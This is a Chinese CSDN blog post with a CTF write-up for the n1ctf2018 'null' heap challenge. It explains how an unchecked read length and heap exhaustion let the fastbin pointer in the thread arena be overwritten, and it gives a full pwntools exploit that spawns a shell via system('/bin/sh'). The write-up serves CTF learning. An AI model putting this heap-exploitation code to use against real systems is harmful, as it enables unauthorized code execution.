【BUU】n1ctf2018_null

本文详细描述了一种利用程序中漏洞,通过多次malloc操作导致内存溢出,进而覆盖线程arena并篡改fastbin链表,最终实现对堆栈的接管和执行shellcode的过程。涉及了内存管理、堆栈布局和漏洞利用技术。
摘要由CSDN通过智能技术生成
1.漏洞利用

    主函数启动了一个线程,然后进入 routine,是一个循环:
在这里插入图片描述
    根据大小和个数一直 malloc,提供输入数据的功能:
在这里插入图片描述
    问题就出在这个读入函数,for 循环过后,还是继续读入 a2 字节也就是传进来的 size,那这就可以第一次输入 x (< size) 个数据,第二次可以继续在 ptr + x 处读入 size 个字节,因为申请 chunk 的 size 和个数都比较多,如果能覆盖到线程 arena,那么就能将将 fake_chunk_ptr 链接到 fastbin 对应位置,进而分配过去,因为在线程 arena 的头部存在如下结构体:
在这里插入图片描述
mstate 结构体则是常见的:
在这里插入图片描述
其中存放了 fastbin 等链表头信息,如果能篡改这里为 fake_chunk_ptr,就会分配到这里。
在这里插入图片描述
就是这个位置。
但是还有个问题是 arena 是先 mmap 出来的,heap 是之后分配的,heap 的地址比 arena 的地址高,怎么能覆盖到呢?
当管理器检测到 top chunk 不够分配时,会调用 sysmalloc 来进行分配:在这里插入图片描述
sysmalloc 会先尝试去扩展堆,如果不能扩展,就重新 mmap 一块:
在这里插入图片描述
那如果我们将当前堆空间消耗没,然后 grow_heap 的下方是 libc 用到的地址,就会在 arena 前 mmap 一块,这样当我们再次消耗完 mmap 的这块堆,那么就可以覆盖到线程 arena,进而篡改 fastbin 链表头。
消耗完堆空间的效果:
在这里插入图片描述
此时新 mmap 的堆内容:
在这里插入图片描述
其 mstate 指针还是指向原来的 arena,然后消耗完这部分效果:
在这里插入图片描述
利用 read 的 size 没更新,可以溢出覆盖到 fastbin 到 :
在这里插入图片描述
ptr 指向处布置 “/bin/sh”,0x602038 处布置为 system,执行到此处 getshell。
具体申请 chunk 的数量就是先算个大概,然后试几次就能出来。

2.完整exp
# -*- coding: utf-8 -*-
import sys
import os
from pwn import *
from ctypes import *
context.log_level = 'debug'

binary = './null'
elf = ELF('./null')
libc = elf.libc
# libc = ELF("./libc64.so")
# libc = ELF("/home/mtb0tx/share/ctf-pwn/libc/libc6_2.27-3ubuntu1_amd64.so")
# libc = cdll.LoadLibrary("./libc.so.6")
context.binary = binary

DEBUG = 1
if DEBUG:
	p = process(binary)
else:
	host = "node3.buuoj.cn"
	port =  26375
	p = remote(host,port)
if DEBUG == 2:
	host = ""
	port = 0
	user = ""
	passwd = ""
	p = ssh(host,port,user,passwd)

def dbg():
    gdb.attach(p)
    pause()

l64 = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
se      = lambda data               :p.send(data) 
sa      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(delim, data)
rc      = lambda num          		:p.recv(num)
rl      = lambda                    :p.recvline()
ru      = lambda delims             :p.recvuntil(delims)
info    = lambda tag, addr          :log.info(tag + " -> " + hex(addr))
ia		= lambda                    :p.interactive()

menu = "Action: "

def cmd(i):
	ru(menu)
	sl(str(i))

def add(size, cnt, content=''):
	cmd(1)
	sla("Size: ", str(size))
	sla("Pad blocks: ", str(cnt))
	if (content == ''):
		sla("Content? (0/1): ", "0")
	else:
		sla("Content? (0/1): ", "1")
		sa("Input: ", content)

system_plt = elf.plt['system']
sla("Enter secret password: ", "i'm ready for challenge")

for i in range(12):
	add(0x4000, 1000)

add(0x4000, 262, 'a'*0x3ff0)

payload = '1'*0x50 + p32(0) + p32(3) + 10*p64(0x60201d)
sleep(0.2)
se(payload)

sleep(0.2)
payload = '/bin/sh'.ljust(0xB,'\x00') + p64(system_plt)
payload = payload.ljust(0x60,'b')
add(0x60,0,payload)

# dbg()

ia()

参考

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值